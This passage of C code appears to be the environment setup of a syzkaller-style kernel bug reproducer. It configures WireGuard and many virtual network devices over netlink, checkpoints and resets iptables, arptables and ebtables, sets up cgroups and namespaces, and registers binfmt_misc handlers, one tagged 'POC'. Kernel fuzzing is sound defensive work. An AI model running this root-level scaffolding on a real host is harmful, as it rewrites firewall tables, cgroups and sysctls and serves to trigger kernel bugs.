netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4,
sizeof(endpoint_b_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[5], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err) {
}
error:
close(sock);
}
static void initialize_netdevices(void)
{
char netdevsim[16];
sprintf(netdevsim, "netdevsim%d", (int)procid);
struct {
const char* type;
const char* dev;
} devtypes[] = {
{"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"},
{"vcan", "vcan0"}, {"bond", "bond0"},
{"team", "team0"}, {"dummy", "dummy0"},
{"nlmon", "nlmon0"}, {"caif", "caif0"},
{"batadv", "batadv0"}, {"vxcan", "vxcan1"},
{"netdevsim", netdevsim}, {"veth", 0},
{"xfrm", "xfrm0"}, {"wireguard", "wg0"},
{"wireguard", "wg1"}, {"wireguard", "wg2"},
};
const char* devmasters[] = {"bridge", "bond", "team", "batadv"};
struct {
const char* name;
int macsize;
bool noipv6;
} devices[] = {
{"lo", ETH_ALEN},
{"sit0", 0},
{"bridge0", ETH_ALEN},
{"vcan0", 0, true},
{"tunl0", 0},
{"gre0", 0},
{"gretap0", ETH_ALEN},
{"ip_vti0", 0},
{"ip6_vti0", 0},
{"ip6tnl0", 0},
{"ip6gre0", 0},
{"ip6gretap0", ETH_ALEN},
{"erspan0", ETH_ALEN},
{"bond0", ETH_ALEN},
{"veth0", ETH_ALEN},
{"veth1", ETH_ALEN},
{"team0", ETH_ALEN},
{"veth0_to_bridge", ETH_ALEN},
{"veth1_to_bridge", ETH_ALEN},
{"veth0_to_bond", ETH_ALEN},
{"veth1_to_bond", ETH_ALEN},
{"veth0_to_team", ETH_ALEN},
{"veth1_to_team", ETH_ALEN},
{"veth0_to_hsr", ETH_ALEN},
{"veth1_to_hsr", ETH_ALEN},
{"hsr0", 0},
{"dummy0", ETH_ALEN},
{"nlmon0", 0},
{"vxcan0", 0, true},
{"vxcan1", 0, true},
{"caif0", ETH_ALEN},
{"batadv0", ETH_ALEN},
{netdevsim, ETH_ALEN},
{"xfrm0", ETH_ALEN},
{"veth0_virt_wifi", ETH_ALEN},
{"veth1_virt_wifi", ETH_ALEN},
{"virt_wifi0", ETH_ALEN},
{"veth0_vlan", ETH_ALEN},
{"veth1_vlan", ETH_ALEN},
{"vlan0", ETH_ALEN},
{"vlan1", ETH_ALEN},
{"macvlan0", ETH_ALEN},
{"macvlan1", ETH_ALEN},
{"ipvlan0", ETH_ALEN},
{"ipvlan1", ETH_ALEN},
{"veth0_macvtap", ETH_ALEN},
{"veth1_macvtap", ETH_ALEN},
{"macvtap0", ETH_ALEN},
{"macsec0", ETH_ALEN},
{"veth0_to_batadv", ETH_ALEN},
{"veth1_to_batadv", ETH_ALEN},
{"batadv_slave_0", ETH_ALEN},
{"batadv_slave_1", ETH_ALEN},
{"geneve0", ETH_ALEN},
{"geneve1", ETH_ALEN},
{"wg0", 0},
{"wg1", 0},
{"wg2", 0},
};
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++)
netlink_add_device(&nlmsg, sock, devtypes[i].type, devtypes[i].dev);
for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) {
char master[32], slave0[32], veth0[32], slave1[32], veth1[32];
sprintf(slave0, "%s_slave_0", devmasters[i]);
sprintf(veth0, "veth0_to_%s", devmasters[i]);
netlink_add_veth(&nlmsg, sock, slave0, veth0);
sprintf(slave1, "%s_slave_1", devmasters[i]);
sprintf(veth1, "veth1_to_%s", devmasters[i]);
netlink_add_veth(&nlmsg, sock, slave1, veth1);
sprintf(master, "%s0", devmasters[i]);
netlink_device_change(&nlmsg, sock, slave0, false, master, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, slave1, false, master, 0, 0, NULL);
}
netlink_device_change(&nlmsg, sock, "bridge_slave_0", true, 0, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, "bridge_slave_1", true, 0, 0, 0, NULL);
netlink_add_veth(&nlmsg, sock, "hsr_slave_0", "veth0_to_hsr");
netlink_add_veth(&nlmsg, sock, "hsr_slave_1", "veth1_to_hsr");
netlink_add_hsr(&nlmsg, sock, "hsr0", "hsr_slave_0", "hsr_slave_1");
netlink_device_change(&nlmsg, sock, "hsr_slave_0", true, 0, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, "hsr_slave_1", true, 0, 0, 0, NULL);
netlink_add_veth(&nlmsg, sock, "veth0_virt_wifi", "veth1_virt_wifi");
netlink_add_linked(&nlmsg, sock, "virt_wifi", "virt_wifi0",
"veth1_virt_wifi");
netlink_add_veth(&nlmsg, sock, "veth0_vlan", "veth1_vlan");
netlink_add_vlan(&nlmsg, sock, "vlan0", "veth0_vlan", 0, htons(ETH_P_8021Q));
netlink_add_vlan(&nlmsg, sock, "vlan1", "veth0_vlan", 1, htons(ETH_P_8021AD));
netlink_add_macvlan(&nlmsg, sock, "macvlan0", "veth1_vlan");
netlink_add_macvlan(&nlmsg, sock, "macvlan1", "veth1_vlan");
netlink_add_ipvlan(&nlmsg, sock, "ipvlan0", "veth0_vlan", IPVLAN_MODE_L2, 0);
netlink_add_ipvlan(&nlmsg, sock, "ipvlan1", "veth0_vlan", IPVLAN_MODE_L3S,
IPVLAN_F_VEPA);
netlink_add_veth(&nlmsg, sock, "veth0_macvtap", "veth1_macvtap");
netlink_add_linked(&nlmsg, sock, "macvtap", "macvtap0", "veth0_macvtap");
netlink_add_linked(&nlmsg, sock, "macsec", "macsec0", "veth1_macvtap");
char addr[32];
sprintf(addr, DEV_IPV4, 14 + 10);
struct in_addr geneve_addr4;
if (inet_pton(AF_INET, addr, &geneve_addr4) <= 0)
exit(1);
struct in6_addr geneve_addr6;
if (inet_pton(AF_INET6, "fc00::01", &geneve_addr6) <= 0)
exit(1);
netlink_add_geneve(&nlmsg, sock, "geneve0", 0, &geneve_addr4, 0);
netlink_add_geneve(&nlmsg, sock, "geneve1", 1, 0, &geneve_addr6);
netdevsim_add((int)procid, 4);
netlink_wireguard_setup();
for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) {
char addr[32];
sprintf(addr, DEV_IPV4, i + 10);
netlink_add_addr4(&nlmsg, sock, devices[i].name, addr);
if (!devices[i].noipv6) {
sprintf(addr, DEV_IPV6, i + 10);
netlink_add_addr6(&nlmsg, sock, devices[i].name, addr);
}
uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40);
netlink_device_change(&nlmsg, sock, devices[i].name, true, 0, &macaddr,
devices[i].macsize, NULL);
}
close(sock);
}
static void initialize_netdevices_init(void)
{
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
struct {
const char* type;
int macsize;
bool noipv6;
bool noup;
} devtypes[] = {
{"nr", 7, true},
{"rose", 5, true, true},
};
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) {
char dev[32], addr[32];
sprintf(dev, "%s%d", devtypes[i].type, (int)procid);
sprintf(addr, "172.30.%d.%d", i, (int)procid + 1);
netlink_add_addr4(&nlmsg, sock, dev, addr);
if (!devtypes[i].noipv6) {
sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1);
netlink_add_addr6(&nlmsg, sock, dev, addr);
}
int macsize = devtypes[i].macsize;
uint64_t macaddr = 0xbbbbbb +
((unsigned long long)i << (8 * (macsize - 2))) +
(procid << (8 * (macsize - 1)));
netlink_device_change(&nlmsg, sock, dev, !devtypes[i].noup, 0, &macaddr,
macsize, NULL);
}
close(sock);
}
static int read_tun(char* data, int size)
{
if (tunfd < 0)
return -1;
int rv = read(tunfd, data, size);
if (rv < 0) {
if (errno == EAGAIN || errno == EBADFD)
return -1;
exit(1);
}
return rv;
}
static void flush_tun()
{
char data[1000];
while (read_tun(&data[0], sizeof(data)) != -1) {
}
}
#define MAX_FDS 30
#define XT_TABLE_SIZE 1536
#define XT_MAX_ENTRIES 10
struct xt_counters {
uint64_t pcnt, bcnt;
};
struct ipt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_entries;
unsigned int size;
};
struct ipt_get_entries {
char name[32];
unsigned int size;
void* entrytable[XT_TABLE_SIZE / sizeof(void*)];
};
struct ipt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_counters;
struct xt_counters* counters;
char entrytable[XT_TABLE_SIZE];
};
struct ipt_table_desc {
const char* name;
struct ipt_getinfo info;
struct ipt_replace replace;
};
static struct ipt_table_desc ipv4_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
static struct ipt_table_desc ipv6_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
#define IPT_BASE_CTL 64
#define IPT_SO_SET_REPLACE (IPT_BASE_CTL)
#define IPT_SO_GET_INFO (IPT_BASE_CTL)
#define IPT_SO_GET_ENTRIES (IPT_BASE_CTL + 1)
struct arpt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_entries;
unsigned int size;
};
struct arpt_get_entries {
char name[32];
unsigned int size;
void* entrytable[XT_TABLE_SIZE / sizeof(void*)];
};
struct arpt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_counters;
struct xt_counters* counters;
char entrytable[XT_TABLE_SIZE];
};
struct arpt_table_desc {
const char* name;
struct arpt_getinfo info;
struct arpt_replace replace;
};
static struct arpt_table_desc arpt_tables[] = {
{.name = "filter"},
};
#define ARPT_BASE_CTL 96
#define ARPT_SO_SET_REPLACE (ARPT_BASE_CTL)
#define ARPT_SO_GET_INFO (ARPT_BASE_CTL)
#define ARPT_SO_GET_ENTRIES (ARPT_BASE_CTL + 1)
static void checkpoint_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
struct ipt_get_entries entries;
socklen_t optlen;
int fd, i;
fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
optlen = sizeof(table->info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->info.size > sizeof(table->replace.entrytable))
exit(1);
if (table->info.num_entries > XT_MAX_ENTRIES)
exit(1);
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
struct xt_counters counters[XT_MAX_ENTRIES];
struct ipt_get_entries entries;
struct ipt_getinfo info;
socklen_t optlen;
int fd, i;
fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
if (table->info.valid_hooks == 0)
continue;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
optlen = sizeof(info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &info, &optlen))
exit(1);
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
}
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, level, IPT_SO_SET_REPLACE, &table->replace, optlen))
exit(1);
}
close(fd);
}
static void checkpoint_arptables(void)
{
struct arpt_get_entries entries;
socklen_t optlen;
unsigned i;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
optlen = sizeof(table->info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->info.size > sizeof(table->replace.entrytable))
exit(1);
if (table->info.num_entries > XT_MAX_ENTRIES)
exit(1);
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_arptables()
{
struct xt_counters counters[XT_MAX_ENTRIES];
struct arpt_get_entries entries;
struct arpt_getinfo info;
socklen_t optlen;
unsigned i;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
if (table->info.valid_hooks == 0)
continue;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
optlen = sizeof(info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &info, &optlen))
exit(1);
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
} else {
}
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, SOL_IP, ARPT_SO_SET_REPLACE, &table->replace, optlen))
exit(1);
}
close(fd);
}
#define NF_BR_NUMHOOKS 6
#define EBT_TABLE_MAXNAMELEN 32
#define EBT_CHAIN_MAXNAMELEN 32
#define EBT_BASE_CTL 128
#define EBT_SO_SET_ENTRIES (EBT_BASE_CTL)
#define EBT_SO_GET_INFO (EBT_BASE_CTL)
#define EBT_SO_GET_ENTRIES (EBT_SO_GET_INFO + 1)
#define EBT_SO_GET_INIT_INFO (EBT_SO_GET_ENTRIES + 1)
#define EBT_SO_GET_INIT_ENTRIES (EBT_SO_GET_INIT_INFO + 1)
struct ebt_replace {
char name[EBT_TABLE_MAXNAMELEN];
unsigned int valid_hooks;
unsigned int nentries;
unsigned int entries_size;
struct ebt_entries* hook_entry[NF_BR_NUMHOOKS];
unsigned int num_counters;
struct ebt_counter* counters;
char* entries;
};
struct ebt_entries {
unsigned int distinguisher;
char name[EBT_CHAIN_MAXNAMELEN];
unsigned int counter_offset;
int policy;
unsigned int nentries;
char data[0] __attribute__((aligned(__alignof__(struct ebt_replace))));
};
struct ebt_table_desc {
const char* name;
struct ebt_replace replace;
char entrytable[XT_TABLE_SIZE];
};
static struct ebt_table_desc ebt_tables[] = {
{.name = "filter"},
{.name = "nat"},
{.name = "broute"},
};
static void checkpoint_ebtables(void)
{
socklen_t optlen;
unsigned i;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
strcpy(table->replace.name, table->name);
optlen = sizeof(table->replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_INFO, &table->replace,
&optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->replace.entries_size > sizeof(table->entrytable))
exit(1);
table->replace.num_counters = 0;
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_ENTRIES, &table->replace,
&optlen))
exit(1);
}
close(fd);
}
static void reset_ebtables()
{
struct ebt_replace replace;
char entrytable[XT_TABLE_SIZE];
socklen_t optlen;
unsigned i, j, h;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
if (table->replace.valid_hooks == 0)
continue;
memset(&replace, 0, sizeof(replace));
strcpy(replace.name, table->name);
optlen = sizeof(replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INFO, &replace, &optlen))
exit(1);
replace.num_counters = 0;
table->replace.entries = 0;
for (h = 0; h < NF_BR_NUMHOOKS; h++)
table->replace.hook_entry[h] = 0;
if (memcmp(&table->replace, &replace, sizeof(table->replace)) == 0) {
memset(&entrytable, 0, sizeof(entrytable));
replace.entries = entrytable;
optlen = sizeof(replace) + replace.entries_size;
if (getsockopt(fd, SOL_IP, EBT_SO_GET_ENTRIES, &replace, &optlen))
exit(1);
if (memcmp(table->entrytable, entrytable, replace.entries_size) == 0)
continue;
}
for (j = 0, h = 0; h < NF_BR_NUMHOOKS; h++) {
if (table->replace.valid_hooks & (1 << h)) {
table->replace.hook_entry[h] =
(struct ebt_entries*)table->entrytable + j;
j++;
}
}
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
if (setsockopt(fd, SOL_IP, EBT_SO_SET_ENTRIES, &table->replace, optlen))
exit(1);
}
close(fd);
}
static void checkpoint_net_namespace(void)
{
checkpoint_ebtables();
checkpoint_arptables();
checkpoint_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
checkpoint_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void reset_net_namespace(void)
{
reset_ebtables();
reset_arptables();
reset_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
reset_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void setup_cgroups()
{
if (mkdir("/syzcgroup", 0777)) {
}
if (mkdir("/syzcgroup/unified", 0777)) {
}
if (mount("none", "/syzcgroup/unified", "cgroup2", 0, NULL)) {
}
if (chmod("/syzcgroup/unified", 0777)) {
}
write_file("/syzcgroup/unified/cgroup.subtree_control",
"+cpu +memory +io +pids +rdma");
if (mkdir("/syzcgroup/cpu", 0777)) {
}
if (mount("none", "/syzcgroup/cpu", "cgroup", 0,
"cpuset,cpuacct,perf_event,hugetlb")) {
}
write_file("/syzcgroup/cpu/cgroup.clone_children", "1");
write_file("/syzcgroup/cpu/cpuset.memory_pressure_enabled", "1");
if (chmod("/syzcgroup/cpu", 0777)) {
}
if (mkdir("/syzcgroup/net", 0777)) {
}
if (mount("none", "/syzcgroup/net", "cgroup", 0,
"net_cls,net_prio,devices,freezer")) {
}
if (chmod("/syzcgroup/net", 0777)) {
}
}
static void setup_cgroups_loop()
{
int pid = getpid();
char file[128];
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/pids.max", cgroupdir);
write_file(file, "32");
snprintf(file, sizeof(file), "%s/memory.low", cgroupdir);
write_file(file, "%d", 298 << 20);
snprintf(file, sizeof(file), "%s/memory.high", cgroupdir);
write_file(file, "%d", 299 << 20);
snprintf(file, sizeof(file), "%s/memory.max", cgroupdir);
write_file(file, "%d", 300 << 20);
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
}
static void setup_cgroups_test()
{
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.cpu")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.net")) {
}
}
static void setup_common()
{
if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
}
setup_cgroups();
}
static void loop();
static void sandbox_common()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setsid();
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = (200 << 20);
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 32 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 256;
setrlimit(RLIMIT_NOFILE, &rlim);
if (unshare(CLONE_NEWNS)) {
}
if (unshare(CLONE_NEWIPC)) {
}
if (unshare(0x02000000)) {
}
if (unshare(CLONE_NEWUTS)) {
}
if (unshare(CLONE_SYSVSEM)) {
}
typedef struct {
const char* name;
const char* value;
} sysctl_t;
static const sysctl_t sysctls[] = {
{"/proc/sys/kernel/shmmax", "16777216"},
{"/proc/sys/kernel/shmall", "536870912"},
{"/proc/sys/kernel/shmmni", "1024"},
{"/proc/sys/kernel/msgmax", "8192"},
{"/proc/sys/kernel/msgmni", "1024"},
{"/proc/sys/kernel/msgmnb", "1024"},
{"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
};
unsigned i;
for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
write_file(sysctls[i].name, sysctls[i].value);
}
static int wait_for_loop(int pid)
{
if (pid < 0)
exit(1);
int status = 0;
while (waitpid(-1, &status, __WALL) != pid) {
}
return WEXITSTATUS(status);
}
static void drop_caps(void)
{
struct __user_cap_header_struct cap_hdr = {};
struct __user_cap_data_struct cap_data[2] = {};
cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
cap_hdr.pid = getpid();
if (syscall(SYS_capget, &cap_hdr, &cap_data))
exit(1);
const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
cap_data[0].effective &= ~drop;
cap_data[0].permitted &= ~drop;
cap_data[0].inheritable &= ~drop;
if (syscall(SYS_capset, &cap_hdr, &cap_data))
exit(1);
}
static int do_sandbox_none(void)
{
if (unshare(CLONE_NEWPID)) {
}
int pid = fork();
if (pid != 0)
return wait_for_loop(pid);
setup_common();
sandbox_common();
drop_caps();
initialize_netdevices_init();
if (unshare(CLONE_NEWNET)) {
}
initialize_tun();
initialize_netdevices();
loop();
exit(1);
}
#define FS_IOC_SETFLAGS _IOW('f', 2, long)
static void remove_dir(const char* dir)
{
DIR* dp;
struct dirent* ep;
int iter = 0;
retry:
dp = opendir(dir);
if (dp == NULL) {
if (errno == EMFILE) {
exit(1);
}
exit(1);
}
while ((ep = readdir(dp))) {
if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
continue;
char filename[FILENAME_MAX];
snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
struct stat st;
if (lstat(filename, &st))
exit(1);
if (S_ISDIR(st.st_mode)) {
remove_dir(filename);
continue;
}
int i;
for (i = 0;; i++) {
if (unlink(filename) == 0)
break;
if (errno == EPERM) {
int fd = open(filename, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno != EBUSY || i > 100)
exit(1);
}
}
closedir(dp);
int i;
for (i = 0;; i++) {
if (rmdir(dir) == 0)
break;
if (i < 100) {
if (errno == EPERM) {
int fd = open(dir, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno == EBUSY) {
continue;
}
if (errno == ENOTEMPTY) {
if (iter < 100) {
iter++;
goto retry;
}
}
}
exit(1);
}
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
int i;
for (i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_loop()
{
setup_cgroups_loop();
checkpoint_net_namespace();
}
static void reset_loop()
{
reset_net_namespace();
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setup_cgroups_test();
write_file("/proc/self/oom_score_adj", "1000");
flush_tun();
}
static void close_fds()
{
int fd;
for (fd = 3; fd < MAX_FDS; fd++)
close(fd);
}
static void setup_binfmt_misc()
{
if (mount(0, "/proc/sys/fs/binfmt_misc", "binfmt_misc", 0, 0)) {
}
write_file("/proc/sys/fs/binfmt_misc/register", ":syz0:M:0:\x01::./file0:");
write_file("/proc/sys/fs/binfmt_misc/register",
":syz1:M:1:\x02::./file0:POC");
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
